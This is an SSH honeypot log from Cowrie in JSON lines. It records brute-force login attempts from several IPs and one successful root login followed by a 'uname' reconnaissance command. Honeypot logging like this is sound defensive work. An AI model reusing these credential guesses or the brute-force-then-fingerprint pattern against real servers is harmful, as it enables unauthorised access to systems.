{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39938,"dst_ip":"159.203.135.109","dst_port":22,"session":"eac6274ae571","protocol":"ssh","message":"New connection: 2.57.122.208:39938 (159.203.135.109:22) [session: eac6274ae571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:11:18.403234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:11:18.415848Z","src_ip":"2.57.122.208","session":"eac6274ae571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:11:18.519071Z","src_ip":"2.57.122.208","session":"eac6274ae571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:11:19.744006Z","src_ip":"2.57.122.208","session":"eac6274ae571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:11:21.026093Z","src_ip":"2.57.122.208","session":"eac6274ae571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45604,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b5e01066465","protocol":"ssh","message":"New connection: 2.57.122.208:45604 (159.203.135.109:22) [session: 6b5e01066465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:13:33.975284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:13:34.168933Z","src_ip":"2.57.122.208","session":"6b5e01066465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:13:34.172839Z","src_ip":"2.57.122.208","session":"6b5e01066465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:13:34.953132Z","src_ip":"2.57.122.208","session":"6b5e01066465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:13:36.064972Z","src_ip":"2.57.122.208","session":"6b5e01066465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35600,"dst_ip":"159.203.135.109","dst_port":22,"session":"679b5ffe5cba","protocol":"ssh","message":"New connection: 2.57.122.208:35600 (159.203.135.109:22) [session: 679b5ffe5cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:15:50.323621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:15:50.419763Z","src_ip":"2.57.122.208","session":"679b5ffe5cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:15:50.527587Z","src_ip":"2.57.122.208","session":"679b5ffe5cba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:15:51.317157Z","src_ip":"2.57.122.208","session":"679b5ffe5cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:15:52.559948Z","src_ip":"2.57.122.208","session":"679b5ffe5cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.199","src_port":28472,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf29b4a4fe4","protocol":"ssh","message":"New connection: 66.132.172.199:28472 (10.17.0.5:22) [session: edf29b4a4fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:16:12.989443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:16:13.081678Z","src_ip":"66.132.172.199","session":"edf29b4a4fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:16:13.462816Z","src_ip":"66.132.172.199","session":"edf29b4a4fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:16:28.161231Z","src_ip":"66.132.172.199","session":"edf29b4a4fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.45","src_port":52962,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f999846a810","protocol":"ssh","message":"New connection: 45.142.154.45:52962 (159.203.135.109:22) [session: 7f999846a810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:02.442770Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.154.45","src_port":53226,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b8178a2cb8","protocol":"ssh","message":"New connection: 45.142.154.45:53226 (159.203.135.109:22) [session: c8b8178a2cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:02.855750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:02.861105Z","src_ip":"45.142.154.45","session":"c8b8178a2cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:03.070609Z","src_ip":"45.142.154.45","session":"c8b8178a2cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:03.281066Z","src_ip":"45.142.154.45","session":"7f999846a810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:17.856589Z","src_ip":"45.142.154.45","session":"c8b8178a2cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.142.87.3","src_port":32938,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6bb7f99842f","protocol":"ssh","message":"New connection: 103.142.87.3:32938 (10.17.0.5:22) [session: e6bb7f99842f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:46.842835Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:48.239706Z","src_ip":"103.142.87.3","session":"e6bb7f99842f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.142.87.3","src_port":47004,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ba6983d202","protocol":"ssh","message":"New connection: 103.142.87.3:47004 (10.17.0.5:22) [session: 14ba6983d202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:48.308927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:49.606019Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:49.610088Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"------fuck------","message":"login attempt [root/------fuck------] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:17:56.625329Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:01.093120Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:01.097184Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"2.0","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:03.073031Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:03.078652Z","src_ip":"103.142.87.3","session":"14ba6983d202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41928,"dst_ip":"159.203.135.109","dst_port":22,"session":"054df4ef50e7","protocol":"ssh","message":"New connection: 2.57.122.208:41928 (159.203.135.109:22) [session: 054df4ef50e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:03.911945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:03.952865Z","src_ip":"2.57.122.208","session":"054df4ef50e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:04.084022Z","src_ip":"2.57.122.208","session":"054df4ef50e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:04.546745Z","src_ip":"2.57.122.208","session":"054df4ef50e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:18:05.671544Z","src_ip":"2.57.122.208","session":"054df4ef50e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43884,"dst_ip":"159.203.135.109","dst_port":22,"session":"d259ff05c8b9","protocol":"ssh","message":"New connection: 2.57.122.208:43884 (159.203.135.109:22) [session: d259ff05c8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:19.635680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:19.640598Z","src_ip":"2.57.122.208","session":"d259ff05c8b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:20:19.762528Z","src_ip":"2.57.122.208","session":"d259ff05c8b9","protocol":"ssh"}
